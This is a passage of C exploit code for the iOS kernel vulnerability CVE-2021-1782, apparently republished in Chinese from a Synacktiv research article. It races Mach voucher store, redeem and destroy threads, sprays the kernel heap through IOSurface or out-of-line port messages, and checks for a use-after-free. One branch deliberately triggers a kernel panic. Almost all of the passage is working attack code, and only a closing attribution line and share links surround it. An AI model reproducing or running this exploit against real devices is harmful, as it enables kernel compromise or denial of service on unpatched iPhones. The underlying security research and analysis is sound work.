recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipe.command = MACH_VOUCHER_ATTR_REDEEM;
recipe.content_size = 0;
recipe.previous_voucher = prev;
mach_port_t port = MACH_PORT_NULL;
ENFORCE(host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&recipe,
sizeof(recipe), &port) == KERN_SUCCESS, fail);
*out_port = port;
return 0;
fail:
return -1;
}
#endif
static void* race_store(void *arg)
{
uint64_t nonce = (uint64_t)arg;
mach_port_t port = MACH_PORT_NULL;
while( (g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION)
&& (g_race_sync != RACE_SYNC_SPRAY_DONE)) {};
ENFORCE(voucher_user_data_store(&port, nonce) == 0, fail);
DEBUG_TRACE(5, "race_store => new port:0x%x nonce:%llu", port, nonce);
g_voucher_port = port;
fail:
return NULL;
}
static void* race_desync(void *args)
{
uint64_t nonce = (uint64_t) args;
mach_port_t port = MACH_PORT_NULL;
while(g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION){};
ENFORCE(voucher_user_redeem_multiple(&port, nonce, REDEEM_MULTIPLE_SIZE) == 0, fail);
DEBUG_TRACE(5, "race_desync port:0x%x", port);
fail:
return NULL;
}
static void* race_destroy(void *args)
{
mach_port_t port = (mach_port_t)args;
while( (g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION)
&& (g_race_sync != RACE_SYNC_SPRAY_DONE)) {};
ENFORCE(mach_port_destroy(mach_task_self(), port) == 0, fail);
DEBUG_TRACE(5, "race_dealloc port:0x%x", port);
fail:
return NULL;
}
#ifndef WITH_OOL
/* spraying in another thread doesn't really make sense now ... */
static void* race_spray(__attribute__((unused)) void *args)
{
DEBUG_TRACE(5, "preparing the spray");
uint8_t sprayed_data[sizeof(struct user_data_value_element) + VOUCHER_CONTENT_SIZE];
memset(sprayed_data, 'A', sizeof(sprayed_data));
user_data_element_t sprayed_elem = (user_data_element_t)sprayed_data;
sprayed_elem->e_made = 0x100;
sprayed_elem->e_size = RECIPE_ATTR_MAX_SIZE - sizeof(mach_voucher_attr_recipe_data_t) - 1;
g_race_sync = RACE_SYNC_SPRAY_SETUP_READY;
while(g_race_sync != RACE_SYNC_SPRAY_GO){};
DEBUG_TRACE(5, "spraying...");
ENFORCE(IOSurface_spray_with_gc(1, 1, sprayed_data, sizeof(sprayed_data), NULL) == true, fail);
g_race_sync = RACE_SYNC_SPRAY_DONE;
while(g_race_sync != RACE_SYNC_SPRAY_CLEANABLE){};
if (g_spray_abort_flag == 1)
{
return NULL;
}
DEBUG_TRACE(5, "cleaning the spray");
ENFORCE(IOSurface_spray_clear(1) == true, fail);
fail:
return NULL;
}
#endif // WITH_OOL
#ifdef WITH_OOL
kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
struct ool_msg
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
struct ool_rcv_msg
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
mach_msg_trailer_t trailer;
};
struct ool_multi_msg
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports[NB_DESC];
};
struct ool_multi_msg_rcv
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports[NB_DESC];
mach_msg_trailer_t trailer;
};
static int send_ool_ports(mach_port_t port, mach_port_t *ool_ports)
{
size_t n_ports = NB_OOL_PORTS;
struct ool_multi_msg msg = {0};
msg.hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg.hdr.msgh_size = sizeof(struct ool_msg);
msg.hdr.msgh_remote_port = port;
msg.hdr.msgh_local_port = MACH_PORT_NULL;
msg.hdr.msgh_id = 0x123456;
msg.body.msgh_descriptor_count = NB_DESC;
for (uint64_t i = 0; i < NB_DESC; i++)
{
msg.ool_ports[i].address = ool_ports;
msg.ool_ports[i].count = n_ports;
msg.ool_ports[i].deallocate = 0;
msg.ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
msg.ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg.ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
}
ENFORCE(mach_msg(&msg.hdr, MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct ool_multi_msg), 0,
MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL) == KERN_SUCCESS, fail);
return 0;
fail:
return 1;
}
static int receive_ool_ports(mach_port_t port)
{
struct ool_multi_msg_rcv msg = {0};
ENFORCE(mach_msg(&msg.hdr, MACH_RCV_MSG, 0, sizeof(struct ool_multi_msg_rcv),
port, 0, 0) == KERN_SUCCESS, fail);
return 0;
fail:
return 1;
}
static void* spray_with_ool(void *args)
{
mach_port_t port;
mach_port_t ports[NB_MSG] = {0};
mach_port_t ool_ports[NB_MSG*NB_OOL_PORTS] = {0};
DEBUG_TRACE(5, "preparing ports");
for(uint64_t i = 0; i < NB_MSG;i++)
{
ENFORCE(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port) == KERN_SUCCESS, fail);
ports[i] = port;
for(uint64_t j = 0; j < NB_OOL_PORTS;j++)
{
ool_ports[i*NB_MSG+j] = mach_task_self();
}
}
g_race_sync = RACE_SYNC_SPRAY_SETUP_READY;
//while(g_race_sync != RACE_SYNC_ENTER_CRITICAL_SECTION){};
while(g_race_sync != RACE_SYNC_SPRAY_GO){};
DEBUG_TRACE(5, "spraying");
for(uint64_t i = 0; i < NB_MSG; i++)
{
ENFORCE(send_ool_ports(ports[i], &ool_ports[i*NB_MSG]) == 0, fail);
}
g_race_sync = RACE_SYNC_SPRAY_DONE;
while(g_race_sync != RACE_SYNC_SPRAY_CLEANABLE) {};
DEBUG_TRACE(5, "recv");
for(uint64_t i = 0; i < NB_MSG; i++)
{
ENFORCE(receive_ool_ports(ports[i]) == 0, fail);
}
fail:
DEBUG_TRACE(5, "cleaning up ports");
for(uint64_t i = 0; i < NB_MSG; i++)
{
if (ports[i] != 0)
{
mach_port_destroy(mach_task_self(), ports[i]);
mach_port_deallocate(mach_task_self(), ports[i]);
}
}
return NULL;
}
#endif // WITH_OOL
int main(int argc, char* argv[])
{
kern_return_t kerr;
uint64_t nonce = 0;
pthread_t desync_theads[NB_DESYNC_THREADS] = {0};
pthread_t store_thread = 0;
pthread_t destroy_thread = 0;
pthread_t spray_thread = 0;
sranddev();
mach_msg_type_number_t recipe_size = MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE;
mach_msg_type_number_t recipe_legit_size = MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE;
void *recipe = malloc(recipe_size);
ENFORCE(recipe != NULL, fail);
memset(recipe, 0, recipe_size);
uint64_t nb_attempts = 10000;
if (argc >= 2)
{
nb_attempts = atoll(argv[1]);
}
for(uint64_t attempt = 0; attempt < nb_attempts; attempt++)
{
nonce = rand();
g_race_sync = RACE_SYNC_STOPPED;
DEBUG_TRACE(5, "--------------------------");
ENFORCE(voucher_user_data_store(&g_voucher_port, nonce) == 0, fail);
DEBUG_TRACE(5, "voucher_user_data_store => voucher:0x%x", g_voucher_port);
if (attempt == 0)
{
ENFORCE(mach_voucher_extract_attr_recipe_trap(g_voucher_port, MACH_VOUCHER_ATTR_KEY_USER_DATA, recipe, &recipe_legit_size) == KERN_SUCCESS, fail);
INFO("legit recipe_size:%u", recipe_legit_size);
//hexdump(recipe, recipe_size);
}
DEBUG_TRACE(5, "---------(desync)---------");
for(uint32_t i = 0; i < NB_DESYNC_THREADS; i++)
{
ENFORCE(pthread_create(&desync_theads[i], NULL, race_desync, (void*)nonce) == 0, fail);
}
g_race_sync = RACE_SYNC_ENTER_CRITICAL_SECTION;
for(uint32_t i = 0; i < NB_DESYNC_THREADS; i++)
{
ENFORCE(pthread_join(desync_theads[i], NULL) == 0, fail);
}
g_race_sync = RACE_SYNC_STOPPED;
if ((attempt % 1000) == 0)
{
INFO("attempt number:%llu", attempt);
}
DEBUG_TRACE(5, "---------(release)--------");
mach_port_t port_to_release = g_voucher_port;
#ifdef WITH_OOL
ENFORCE(pthread_create(&spray_thread, NULL, spray_with_ool, NULL) == 0, fail);
#else
ENFORCE(pthread_create(&spray_thread, NULL, race_spray, NULL) == 0, fail);
#endif
while(g_race_sync != RACE_SYNC_SPRAY_SETUP_READY) {};
ENFORCE(pthread_create(&store_thread, NULL, race_store, (void*)nonce) == 0, fail);
void *_cast = (void*)(uintptr_t) port_to_release; // compiler happy :)
ENFORCE(pthread_create(&destroy_thread, NULL, race_destroy, (void*)_cast) == 0, fail);
g_race_sync = RACE_SYNC_ENTER_CRITICAL_SECTION;
ENFORCE(pthread_join(store_thread, NULL) == 0, fail);
ENFORCE(pthread_join(destroy_thread, NULL) == 0, fail);
g_race_sync = RACE_SYNC_SPRAY_GO;
while(g_race_sync != RACE_SYNC_SPRAY_DONE) {};
DEBUG_TRACE(5,"Checking recipe size with port 0x%x", g_voucher_port);
recipe_size = RECIPE_ATTR_MAX_SIZE;
kerr = mach_voucher_extract_attr_recipe_trap(g_voucher_port, MACH_VOUCHER_ATTR_KEY_USER_DATA, recipe, &recipe_size);
if (kerr == KERN_SUCCESS)
{
if (recipe_size != recipe_legit_size)
{
INFO("UaF after %llu attempts", attempt);
INFO("recipe_size was corrupted:0x%x instead of 0x%x!", recipe_size, recipe_legit_size);
hexdump(recipe, recipe_size);
g_spray_abort_flag = 1;
g_race_sync = RACE_SYNC_SPRAY_CLEANABLE;
return 0;
}
}
else if (kerr == KERN_NO_SPACE)
{
INFO("UaF detected with KERN_NO_SPACE!"); /* another one got our free chunk */
#ifdef WITH_OOL
INFO("our ool ports probably got our alloc");
INFO("let's try to panic...");
mach_port_t new_voucher;
INFO("3");
sleep(1);
INFO("2");
sleep(1);
INFO("1");
sleep(1);
voucher_user_redeem_with_prev(&new_voucher, g_voucher_port); // this will increment an ool port addr
/* this will make the spray tread recv with a corrupted unaligned pointer, then panic */
g_race_sync = RACE_SYNC_SPRAY_CLEANABLE;
pthread_join(spray_thread, NULL);
usleep(100);
mach_port_destroy(mach_task_self(), g_voucher_port);
mach_port_destroy(mach_task_self(), new_voucher);
continue;
#else
INFO("someone else got our alloc");
#endif
}
else
{
DEBUG_TRACE(8, "error mach_voucher_extract_attr_recipe_trap():%x", kerr); /* no luck this time */
}
g_race_sync = RACE_SYNC_SPRAY_CLEANABLE;
pthread_join(spray_thread, NULL);
usleep(100);
/* clean up*/
mach_port_destroy(mach_task_self(), g_voucher_port);
}
return 0;
fail:
return 1;
}
本文翻译自:Luca Moro
https://www.synacktiv.com/publications/analysis-and-exploitation-of-the-ios-kernel-vulnerability-cve-2021-1782.html
本文始发于微信公众号(Ots安全):IOS内核漏洞CVE-2021-1782的分析和利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论